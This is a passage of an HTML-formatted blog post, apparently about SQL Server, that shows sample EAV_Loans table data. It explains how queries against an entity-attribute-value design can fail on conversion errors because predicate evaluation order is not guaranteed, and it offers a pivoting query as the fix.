gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;code&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;value&lt;/span&gt;&lt;span style="color: gray"&gt;)              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'date'&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'20080215'&lt;/span&gt;&lt;span style="color: gray"&gt;);              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;code&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;value&lt;/span&gt;&lt;span style="color: gray"&gt;)              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'amount'&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'3500.00'&lt;/span&gt;&lt;span style="color: gray"&gt;);              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;code&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;value&lt;/span&gt;&lt;span style="color: gray"&gt;)              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'type'&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'personal'&lt;/span&gt;&lt;span style="color: gray"&gt;);              &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;code&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;value              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans&lt;/span&gt;&lt;span style="color: gray"&gt;;              &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: green"&gt;/*              &lt;br /&gt;&lt;br /&gt;loan_nbr&amp;#160;&amp;#160;&amp;#160; customer_nbr code&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; value               &lt;br /&gt;----------- ------------ --------- ----------               &lt;br /&gt;1&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 1&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; amount&amp;#160;&amp;#160;&amp;#160; 1500.00               &lt;br /&gt;1&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 1&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; date&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 20080110               &lt;br /&gt;1&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 1&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; type&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; personal               &lt;br /&gt;2&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 2&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; amount&amp;#160;&amp;#160;&amp;#160; 3500.00               &lt;br /&gt;2&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 2&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; date&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 20080215               &lt;br /&gt;2&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 2&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; type&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; personal               &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*/              &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Here the pair of loan number and customer number identifies the entity. The code column stores the attribute (amount, date, and type of loan) and the value column represents that actual value.    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; A quick demonstration of the problems caused by this design. Let’s write a query to retrieve customers with personal loans over 1,000 for the period Jan 1, 2008 through Jan 31, 2008. Here is a first attempt to satisfy the request:&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 2&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;A.loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;A.customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;A.value &lt;/span&gt;&lt;span style="color: blue"&gt;AS DATETIME&lt;/span&gt;&lt;span style="color: gray"&gt;) &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;loan_date&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;B.value &lt;/span&gt;&lt;span style="color: blue"&gt;AS DECIMAL&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;15&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;)) &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;loan_amount              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;A              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;INNER JOIN &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;B              &lt;br /&gt;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;ON &lt;/span&gt;&lt;span style="color: black"&gt;A.loan_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;B.loan_nbr              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;A.customer_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;B.customer_nbr              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;INNER JOIN &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;C              &lt;br /&gt;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;ON &lt;/span&gt;&lt;span style="color: black"&gt;A.loan_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;C.loan_nbr              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;A.customer_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;C.customer_nbr              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;WHERE &lt;/span&gt;&lt;span style="color: black"&gt;A.code &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'date'              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;A.value &lt;/span&gt;&lt;span style="color: blue"&gt;AS DATETIME&lt;/span&gt;&lt;span style="color: gray"&gt;) &amp;gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'20080101'              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;A.value &lt;/span&gt;&lt;span style="color: blue"&gt;AS DATETIME&lt;/span&gt;&lt;span style="color: gray"&gt;) &amp;lt;&amp;#160; &lt;/span&gt;&lt;span style="color: red"&gt;'20080201'              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;B.code &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'amount'              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;B.value &lt;/span&gt;&lt;span style="color: blue"&gt;AS DECIMAL&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;15&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;)) &amp;gt; &lt;/span&gt;&lt;span style="color: black"&gt;1000.00              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;C.code &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'type'              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;C.value &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'personal'&lt;/span&gt;&lt;span style="color: gray"&gt;;             &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;One of the first issues to notice is the multiple joins to retrieve each attribute. This is because each attribute is stored in separate row and we need to put back together the customer loan info. Besides that seems the code should be OK… except one little problem! The nature of the SQL is such that nothing guarantees that the predicates in the WHERE clause will be executed in the order listed. They will be expanded in the query plan and the cast to DATETIME or DECIMAL can be applied to the loan type value which will result in conversion error. I described this in more detail in my post &lt;a href="http://pratchev.blogspot.com/2008/10/predicates-in-sql.html" target="_blank"&gt;Predicates in SQL&lt;/a&gt;.     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; To fix this you may be tempted to try a different approach: using table expressions to retrieve each attribute. Listing 3 shows a version of such query.&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 3&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;A.loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;A.customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;loan_date&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;loan_amount              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;value &lt;/span&gt;&lt;span style="color: blue"&gt;AS DATETIME&lt;/span&gt;&lt;span style="color: gray"&gt;) &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;loan_date              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;WHERE &lt;/span&gt;&lt;span style="color: black"&gt;code &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'date'&lt;/span&gt;&lt;span style="color: gray"&gt;) &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;A              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;INNER JOIN &lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;value &lt;/span&gt;&lt;span style="color: blue"&gt;AS DECIMAL&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;15&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;)) &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;loan_amount              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;WHERE &lt;/span&gt;&lt;span style="color: black"&gt;code &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'amount'&lt;/span&gt;&lt;span style="color: gray"&gt;) &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;B              &lt;br /&gt;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;ON &lt;/span&gt;&lt;span style="color: black"&gt;A.loan_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;B.loan_nbr              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;A.customer_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;B.customer_nbr              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;INNER JOIN &lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;value &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;loan_type              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;WHERE &lt;/span&gt;&lt;span style="color: black"&gt;code &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'type'&lt;/span&gt;&lt;span style="color: gray"&gt;) &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;C              &lt;br /&gt;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;ON &lt;/span&gt;&lt;span style="color: black"&gt;A.loan_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;C.loan_nbr              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;A.customer_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;C.customer_nbr              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;WHERE &lt;/span&gt;&lt;span style="color: black"&gt;loan_date &lt;/span&gt;&lt;span style="color: gray"&gt;&amp;gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'20080101'              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;loan_date &lt;/span&gt;&lt;span style="color: gray"&gt;&amp;lt;&amp;#160; &lt;/span&gt;&lt;span style="color: red"&gt;'20080201'              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;loan_amount &lt;/span&gt;&lt;span style="color: gray"&gt;&amp;gt; &lt;/span&gt;&lt;span style="color: black"&gt;1000.00              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;loan_type &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'personal'&lt;/span&gt;&lt;span style="color: gray"&gt;;             &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;However, this query has the same problem because the table expressions are expanded in the query plan and nothing guarantees the order of executing the predicates. One approach to retrieve the requested data successfully is to use a pivoting technique. The query below illustrates that.&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 4&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,             &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;loan_date&lt;/span&gt;&lt;span style="color: gray"&gt;,             &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;loan_amount             &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: gray"&gt;(             &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,             &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;,             &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;MAX&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: magenta"&gt;CASE &lt;/span&gt;&lt;span style="color: blue"&gt;WHEN &lt;/span&gt;&lt;span style="color: black"&gt;code &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'date' &lt;/span&gt;&lt;span style="color: blue"&gt;THEN &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;value &lt;/span&gt;&lt;span style="color: blue"&gt;AS DATETIME&lt;/span&gt;&lt;span style="color: gray"&gt;) &lt;/span&gt;&lt;span style="color: blue"&gt;END&lt;/span&gt;&lt;span style="color: gray"&gt;),             &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;MAX&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: magenta"&gt;CASE &lt;/span&gt;&lt;span style="color: blue"&gt;WHEN &lt;/span&gt;&lt;span style="color: black"&gt;code &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'amount' &lt;/span&gt;&lt;span style="color: blue"&gt;THEN &lt;/span&gt;&lt;span style="color: magenta"&gt;CAST&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;value &lt;/span&gt;&lt;span style="color: blue"&gt;AS DECIMAL&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;15&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;)) &lt;/span&gt;&lt;span style="color: blue"&gt;END&lt;/span&gt;&lt;span style="color: gray"&gt;),             &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: magenta"&gt;MAX&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: magenta"&gt;CASE &lt;/span&gt;&lt;span style="color: blue"&gt;WHEN &lt;/span&gt;&lt;span style="color: black"&gt;code &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: red"&gt;'type' &lt;/span&gt;&lt;span style="color: blue"&gt;THEN &lt;/span&gt;&lt;span style="color: black"&gt;value &lt;/span&gt;&lt;span style="color: blue"&gt;END&lt;/span&gt;&lt;span style="color: gray"&gt;)             &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans             &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;GROUP BY &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr             &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;) &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;L&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;loan_date&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;loan_amount&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;loan_type&lt;/span&gt;&lt;span style="color: 